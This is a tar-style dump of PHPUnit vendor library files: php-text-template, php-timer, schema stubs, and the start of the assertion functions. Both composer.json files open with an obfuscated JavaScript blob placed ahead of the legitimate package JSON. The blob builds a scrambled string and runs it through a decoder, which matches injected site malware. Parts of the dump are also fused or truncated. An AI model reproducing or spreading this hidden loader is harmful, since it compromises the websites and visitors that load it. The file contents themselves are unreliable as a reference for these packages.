https://github.com/sebastianbergmann/php-invoker/compare/3.1.0...3.1.1 [3.1.0]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.2...3.1.0 [3.0.2]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/php-invoker/compare/2.0.0...3.0.0 res/readability/vendor/phpunit/php-text-template/.psalm/config.xml000064400000000753147577714370021410 0ustar00 res/readability/vendor/phpunit/php-text-template/.psalm/baseline.xml000064400000000157147577714370021723 0ustar00 res/readability/vendor/phpunit/php-text-template/src/exceptions/RuntimeException.php000064400000000654147577714370025212 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; use InvalidArgumentException; final class RuntimeException extends InvalidArgumentException implements Exception { } res/readability/vendor/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php000064400000000626147577714370026657 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; final class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/phpunit/php-text-template/src/exceptions/Exception.php000064400000000560147577714370023642 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; use Throwable; interface Exception extends Throwable { } res/readability/vendor/phpunit/php-text-template/src/Template.php000064400000004727147577714370021307 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Template; use function array_merge; use function file_exists; use function file_get_contents; use function file_put_contents; use function sprintf; use function str_replace; final class Template { /** * @var string */ private $template = ''; /** * @var string */ private $openDelimiter; /** * @var string */ private $closeDelimiter; /** * @var array */ private $values = []; /** * @throws InvalidArgumentException */ public function __construct(string $file = '', string $openDelimiter = '{', string $closeDelimiter = '}') { $this->setFile($file); $this->openDelimiter = $openDelimiter; $this->closeDelimiter = $closeDelimiter; } /** * @throws InvalidArgumentException */ public function setFile(string $file): void { $distFile = $file . '.dist'; if (file_exists($file)) { $this->template = file_get_contents($file); } elseif (file_exists($distFile)) { $this->template = file_get_contents($distFile); } else { throw new InvalidArgumentException( sprintf( 'Failed to load template "%s"', $file ) ); } } public function setVar(array $values, bool $merge = true): void { if (!$merge || empty($this->values)) { $this->values = $values; } else { $this->values = array_merge($this->values, $values); } } public function render(): string { $keys = []; foreach ($this->values as $key => $value) { $keys[] = $this->openDelimiter . $key . $this->closeDelimiter; } return str_replace($keys, $this->values, $this->template); } /** * @codeCoverageIgnore */ public function renderTo(string $target): void { if (!file_put_contents($target, $this->render())) { throw new RuntimeException( sprintf( 'Writing rendered result to "%s" failed', $target ) ); } } } res/readability/vendor/phpunit/php-text-template/README.md000064400000000634147577714370017504 0ustar00# Text_Template ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phpunit/php-text-template If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phpunit/php-text-template res/readability/vendor/phpunit/php-text-template/LICENSE000064400000003030147577714370017223 0ustar00phpunit/php-text-template Copyright (c) 2009-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phpunit/php-text-template/composer.json000064400000007565147577714370020761 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "phpunit/php-text-template", "description": "Simple template engine.", "type": "library", "keywords": [ "template" ], "homepage": "https://github.com/sebastianbergmann/php-text-template/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-text-template/issues" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "2.0-dev" } } } res/readability/vendor/phpunit/php-text-template/ChangeLog.md000064400000002243147577714370020374 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [2.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\Template\Exception` now correctly extends `\Throwable` ## [2.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [2.0.0] - 2020-02-07 ### Changed * The `Text_Template` class was renamed to `SebastianBergmann\Template\Template` ### Removed * Removed support for PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, PHP 7.0, PHP 7.1, and PHP 7.2 [2.0.4]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/php-text-template/compare/1.2.1...2.0.0 res/readability/vendor/phpunit/php-timer/.psalm/config.xml000064400000000752147577714370017732 0ustar00 res/readability/vendor/phpunit/php-timer/.psalm/baseline.xml000064400000000157147577714370020246 0ustar00 readability/vendor/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php000064400000000655147577714370031052 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use RuntimeException; final class TimeSinceStartOfRequestNotAvailableException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-timer/src/exceptions/Exception.php000064400000000545147577714370022170 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use Throwable; interface Exception extends Throwable { } res/readability/vendor/phpunit/php-timer/src/exceptions/NoActiveTimerException.php000064400000000623147577714370024617 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use LogicException; final class NoActiveTimerException extends LogicException implements Exception { } res/readability/vendor/phpunit/php-timer/src/ResourceUsageFormatter.php000064400000004137147577714370022512 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use function is_float; use function memory_get_peak_usage; use function microtime; use function sprintf; final class ResourceUsageFormatter { /** * @psalm-var array */ private const SIZES = [ 'GB' => 1073741824, 'MB' => 1048576, 'KB' => 1024, ]; public function resourceUsage(Duration $duration): string { return sprintf( 'Time: %s, Memory: %s', $duration->asString(), $this->bytesToString(memory_get_peak_usage(true)) ); } /** * @throws TimeSinceStartOfRequestNotAvailableException */ public function resourceUsageSinceStartOfRequest(): string { if (!isset($_SERVER['REQUEST_TIME_FLOAT'])) { throw new TimeSinceStartOfRequestNotAvailableException( 'Cannot determine time at which the request started because $_SERVER[\'REQUEST_TIME_FLOAT\'] is not available' ); } if (!is_float($_SERVER['REQUEST_TIME_FLOAT'])) { throw new TimeSinceStartOfRequestNotAvailableException( 'Cannot determine time at which the request started because $_SERVER[\'REQUEST_TIME_FLOAT\'] is not of type float' ); } return $this->resourceUsage( Duration::fromMicroseconds( (1000000 * (microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'])) ) ); } private function bytesToString(int $bytes): string { foreach (self::SIZES as $unit => $value) { if ($bytes >= $value) { return sprintf('%.2f %s', $bytes >= 1024 ? $bytes / $value : $bytes, $unit); } } // @codeCoverageIgnoreStart return $bytes . ' byte' . ($bytes !== 1 ? 's' : ''); // @codeCoverageIgnoreEnd } } res/readability/vendor/phpunit/php-timer/src/Duration.php000064400000005166147577714370017642 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use function floor; use function sprintf; /** * @psalm-immutable */ final class Duration { /** * @var float */ private $nanoseconds; /** * @var int */ private $hours; /** * @var int */ private $minutes; /** * @var int */ private $seconds; /** * @var int */ private $milliseconds; public static function fromMicroseconds(float $microseconds): self { return new self($microseconds * 1000); } public static function fromNanoseconds(float $nanoseconds): self { return new self($nanoseconds); } private function __construct(float $nanoseconds) { $this->nanoseconds = $nanoseconds; $timeInMilliseconds = $nanoseconds / 1000000; $hours = floor($timeInMilliseconds / 60 / 60 / 1000); $hoursInMilliseconds = $hours * 60 * 60 * 1000; $minutes = floor($timeInMilliseconds / 60 / 1000) % 60; $minutesInMilliseconds = $minutes * 60 * 1000; $seconds = floor(($timeInMilliseconds - $hoursInMilliseconds - $minutesInMilliseconds) / 1000); $secondsInMilliseconds = $seconds * 1000; $milliseconds = $timeInMilliseconds - $hoursInMilliseconds - $minutesInMilliseconds - $secondsInMilliseconds; $this->hours = (int) $hours; $this->minutes = $minutes; $this->seconds = (int) $seconds; $this->milliseconds = (int) $milliseconds; } public function asNanoseconds(): float { return $this->nanoseconds; } public function asMicroseconds(): float { return $this->nanoseconds / 1000; } public function asMilliseconds(): float { return $this->nanoseconds / 1000000; } public function asSeconds(): float { return $this->nanoseconds / 1000000000; } public function asString(): string { $result = ''; if ($this->hours > 0) { $result = sprintf('%02d', $this->hours) . ':'; } $result .= sprintf('%02d', $this->minutes) . ':'; $result .= sprintf('%02d', $this->seconds); if ($this->milliseconds > 0) { $result .= '.' . sprintf('%03d', $this->milliseconds); } return $result; } } res/readability/vendor/phpunit/php-timer/src/Timer.php000064400000001634147577714370017131 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use function array_pop; use function hrtime; final class Timer { /** * @psalm-var list */ private $startTimes = []; public function start(): void { $this->startTimes[] = (float) hrtime(true); } /** * @throws NoActiveTimerException */ public function stop(): Duration { if (empty($this->startTimes)) { throw new NoActiveTimerException( 'Timer::start() has to be called before Timer::stop()' ); } return Duration::fromNanoseconds((float) hrtime(true) - array_pop($this->startTimes)); } } res/readability/vendor/phpunit/php-timer/README.md000064400000004307147577714370016030 0ustar00# phpunit/php-timer [![CI Status](https://github.com/sebastianbergmann/php-timer/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-timer/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-timer/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-timer) Utility class for timing things, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require phpunit/php-timer ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev phpunit/php-timer ``` ## Usage ### Basic Timing ```php require __DIR__ . '/vendor/autoload.php'; use SebastianBergmann\Timer\Timer; $timer = new Timer; $timer->start(); foreach (\range(0, 100000) as $i) { // ... } $duration = $timer->stop(); var_dump(get_class($duration)); var_dump($duration->asString()); var_dump($duration->asSeconds()); var_dump($duration->asMilliseconds()); var_dump($duration->asMicroseconds()); var_dump($duration->asNanoseconds()); ``` The code above yields the output below: ``` string(32) "SebastianBergmann\Timer\Duration" string(9) "00:00.002" float(0.002851062) float(2.851062) float(2851.062) int(2851062) ``` ### Resource Consumption #### Explicit duration ```php require __DIR__ . '/vendor/autoload.php'; use SebastianBergmann\Timer\ResourceUsageFormatter; use SebastianBergmann\Timer\Timer; $timer = new Timer; $timer->start(); foreach (\range(0, 100000) as $i) { // ... } print (new ResourceUsageFormatter)->resourceUsage($timer->stop()); ``` The code above yields the output below: ``` Time: 00:00.002, Memory: 6.00 MB ``` #### Duration since PHP Startup (using unreliable `$_SERVER['REQUEST_TIME_FLOAT']`) ```php require __DIR__ . '/vendor/autoload.php'; use SebastianBergmann\Timer\ResourceUsageFormatter; foreach (\range(0, 100000) as $i) { // ... } print (new ResourceUsageFormatter)->resourceUsageSinceStartOfRequest(); ``` The code above yields the output below: ``` Time: 00:00.002, Memory: 6.00 MB ``` res/readability/vendor/phpunit/php-timer/LICENSE000064400000003020147577714370015545 0ustar00phpunit/php-timer Copyright (c) 2010-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phpunit/php-timer/composer.json000064400000007566147577714370017305 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "phpunit/php-timer", "description": "Utility class for timing", "type": "library", "keywords": [ "timer" ], "homepage": "https://github.com/sebastianbergmann/php-timer/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-timer/issues" }, "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "5.0-dev" } } } res/readability/vendor/phpunit/php-timer/ChangeLog.md000064400000011256147577714370016723 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [5.0.3] - 2020-10-26 ### Fixed * `SebastianBergmann\Timer\Exception` now correctly extends `\Throwable` ## [5.0.2] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [5.0.1] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [5.0.0] - 2020-06-07 ### Changed * Parameter type for `SebastianBergmann\Timer\Duration::fromMicroseconds()` was changed from `int` to `float` * Parameter type for `SebastianBergmann\Timer\Duration::fromNanoseconds()` was changed from `int` to `float` * Return type for `SebastianBergmann\Timer\Duration::asNanoseconds()` was changed from `int` to `float` ### Fixed * [#31](https://github.com/sebastianbergmann/php-timer/issues/31): Type Error on 32-bit systems (where `hrtime()` returns `float` instead of `int`) ## [4.0.0] - 2020-06-01 ### Added * Introduced `Duration` value object for encapsulating a duration with nanosecond granularity * Introduced `ResourceUsageFormatter` object for formatting resource usage with option to explicitly pass a duration (instead of looking at the unreliable `$_SERVER['REQUEST_TIME_FLOAT']` variable) ### Changed * The methods of `Timer` are no longer static * `Timer::stop()` now returns a `Duration` value object ### Removed * Functionality that is now implemented in `Duration` and `ResourceUsageFormatter` has been removed from `Timer` ## [3.1.4] - 2020-04-20 ### Changed * `Timer::timeSinceStartOfRequest()` no longer tries `$_SERVER['REQUEST_TIME']` when `$_SERVER['REQUEST_TIME_FLOAT']` is not available (`$_SERVER['REQUEST_TIME_FLOAT']` was added in PHP 5.4 and this library requires PHP 7.3) * Improved exception messages when `$_SERVER['REQUEST_TIME_FLOAT']` is not set or is not of type `float` ### Changed ## [3.1.3] - 2020-04-20 ### Changed * `Timer::timeSinceStartOfRequest()` now raises an exception if `$_SERVER['REQUEST_TIME_FLOAT']` does not contain a `float` (or `$_SERVER['REQUEST_TIME']` does not contain an `int`) ## [3.1.2] - 2020-04-17 ### Changed * Improved the fix for [#30](https://github.com/sebastianbergmann/php-timer/issues/30) and restored usage of `hrtime()` ## [3.1.1] - 2020-04-17 ### Fixed * [#30](https://github.com/sebastianbergmann/php-timer/issues/30): Resolution of time returned by `Timer::stop()` is different than before (this reverts using `hrtime()` instead of `microtime()`) ## [3.1.0] - 2020-04-17 ### Added * `Timer::secondsToShortTimeString()` as alternative to `Timer::secondsToTimeString()` ### Changed * `Timer::start()` and `Timer::stop()` now use `hrtime()` (high resolution monotonic timer) instead of `microtime()` * `Timer::timeSinceStartOfRequest()` now uses `Timer::secondsToShortTimeString()` for time formatting * Improved formatting of `Timer::secondsToTimeString()` result ## [3.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [2.1.2] - 2019-06-07 ### Fixed * [#21](https://github.com/sebastianbergmann/php-timer/pull/21): Formatting of memory consumption does not work on 32bit systems ## [2.1.1] - 2019-02-20 ### Changed * Improved formatting of memory consumption for `resourceUsage()` ## [2.1.0] - 2019-02-20 ### Changed * Improved formatting of memory consumption for `resourceUsage()` ## [2.0.0] - 2018-02-01 ### Changed * This component now uses namespaces ### Removed * This component is no longer supported on PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, and PHP 7.0 [5.0.3]: https://github.com/sebastianbergmann/php-timer/compare/5.0.2...5.0.3 [5.0.2]: https://github.com/sebastianbergmann/php-timer/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/php-timer/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/php-timer/compare/4.0.0...5.0.0 [4.0.0]: https://github.com/sebastianbergmann/php-timer/compare/3.1.4...4.0.0 [3.1.4]: https://github.com/sebastianbergmann/php-timer/compare/3.1.3...3.1.4 [3.1.3]: https://github.com/sebastianbergmann/php-timer/compare/3.1.2...3.1.3 [3.1.2]: https://github.com/sebastianbergmann/php-timer/compare/3.1.1...3.1.2 [3.1.1]: https://github.com/sebastianbergmann/php-timer/compare/3.1.0...3.1.1 [3.1.0]: https://github.com/sebastianbergmann/php-timer/compare/3.0.0...3.1.0 [3.0.0]: https://github.com/sebastianbergmann/php-timer/compare/2.1.2...3.0.0 [2.1.2]: https://github.com/sebastianbergmann/php-timer/compare/2.1.1...2.1.2 [2.1.1]: https://github.com/sebastianbergmann/php-timer/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/sebastianbergmann/php-timer/compare/2.0.0...2.1.0 [2.0.0]: https://github.com/sebastianbergmann/php-timer/compare/1.0.9...2.0.0 res/readability/vendor/phpunit/phpunit/schema/8.5.xsd000064400000041231147577714370016622 0ustar00 This Schema file defines the rules by which the XML configuration file of PHPUnit 8.5 may be structured. Root Element The main type specifying the document structure res/readability/vendor/phpunit/phpunit/schema/9.2.xsd000064400000041325147577714370016624 0ustar00 This Schema file defines the rules by which the XML configuration file of PHPUnit 9.2 may be structured. Root Element The main type specifying the document structure res/readability/vendor/phpunit/phpunit/src/Framework/Assert/Functions.php000064400000305635147577714370023011 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function func_get_args; use ArrayAccess; use Countable; use DOMDocument; use DOMElement; use PHPUnit\Framework\Constraint\ArrayHasKey; use PHPUnit\Framework\Constraint\Callback; use PHPUnit\Framework\Constraint\ClassHasAttribute; use PHPUnit\Framework\Constraint\ClassHasStaticAttribute; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\Count; use PHPUnit\Framework\Constraint\DirectoryExists; use PHPUnit\Framework\Constraint\FileExists; use PHPUnit\Framework\Constraint\GreaterThan; use PHPUnit\Framework\Constraint\IsAnything; use PHPUnit\Framework\Constraint\IsEmpty; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\Constraint\IsEqualCanonicalizing; use PHPUnit\Framework\Constraint\IsEqualIgnoringCase; use PHPUnit\Framework\Constraint\IsEqualWithDelta; use PHPUnit\Framework\Constraint\IsFalse; use PHPUnit\Framework\Constraint\IsFinite; use PHPUnit\Framework\Constraint\IsIdentical; use PHPUnit\Framework\Constraint\IsInfinite; use PHPUnit\Framework\Constraint\IsInstanceOf; use PHPUnit\Framework\Constraint\IsJson; use PHPUnit\Framework\Constraint\IsNan; use PHPUnit\Framework\Constraint\IsNull; use PHPUnit\Framework\Constraint\IsReadable; use PHPUnit\Framework\Constraint\IsTrue; use PHPUnit\Framework\Constraint\IsType; use PHPUnit\Framework\Constraint\IsWritable; use PHPUnit\Framework\Constraint\LessThan; use PHPUnit\Framework\Constraint\LogicalAnd; use PHPUnit\Framework\Constraint\LogicalNot; use PHPUnit\Framework\Constraint\LogicalOr; use PHPUnit\Framework\Constraint\LogicalXor; use PHPUnit\Framework\Constraint\ObjectEquals; use PHPUnit\Framework\Constraint\ObjectHasAttribute; use PHPUnit\Framework\Constraint\RegularExpression; use PHPUnit\Framework\Constraint\StringContains; use PHPUnit\Framework\Constraint\StringEndsWith; use PHPUnit\Framework\Constraint\StringMatchesFormatDescription; use PHPUnit\Framework\Constraint\StringStartsWith; use PHPUnit\Framework\Constraint\TraversableContainsEqual; use PHPUnit\Framework\Constraint\TraversableContainsIdentical; use PHPUnit\Framework\Constraint\TraversableContainsOnly; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount as AnyInvokedCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtIndex as InvokedAtIndexMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastCount as InvokedAtLeastCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastOnce as InvokedAtLeastOnceMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount as InvokedAtMostCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedCount as InvokedCountMatcher; use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls as ConsecutiveCallsStub; use PHPUnit\Framework\MockObject\Stub\Exception as ExceptionStub; use PHPUnit\Framework\MockObject\Stub\ReturnArgument as ReturnArgumentStub; use PHPUnit\Framework\MockObject\Stub\ReturnCallback as ReturnCallbackStub; use PHPUnit\Framework\MockObject\Stub\ReturnSelf as ReturnSelfStub; use PHPUnit\Framework\MockObject\Stub\ReturnStub; use PHPUnit\Framework\MockObject\Stub\ReturnValueMap as ReturnValueMapStub; use Throwable; if (!function_exists('PHPUnit\Framework\assertArrayHasKey')) { /** * Asserts that an array has a specified key. * * @param int|string $key * @param array|ArrayAccess $array * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertArrayHasKey */ function assertArrayHasKey($key, $array, string $message = ''): void { Assert::assertArrayHasKey(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertArrayNotHasKey')) { /** * Asserts that an array does not have a specified key. * * @param int|string $key * @param array|ArrayAccess $array * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertArrayNotHasKey */ function assertArrayNotHasKey($key, $array, string $message = ''): void { Assert::assertArrayNotHasKey(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContains')) { /** * Asserts that a haystack contains a needle. * * @throws ExpectationFailedException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see Assert::assertContains */ function assertContains($needle, iterable $haystack, string $message = ''): void { Assert::assertContains(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\assertContainsEquals')) { function assertContainsEquals($needle, iterable $haystack, string $message = ''): void { Assert::assertContainsEquals(...func_get_args()); 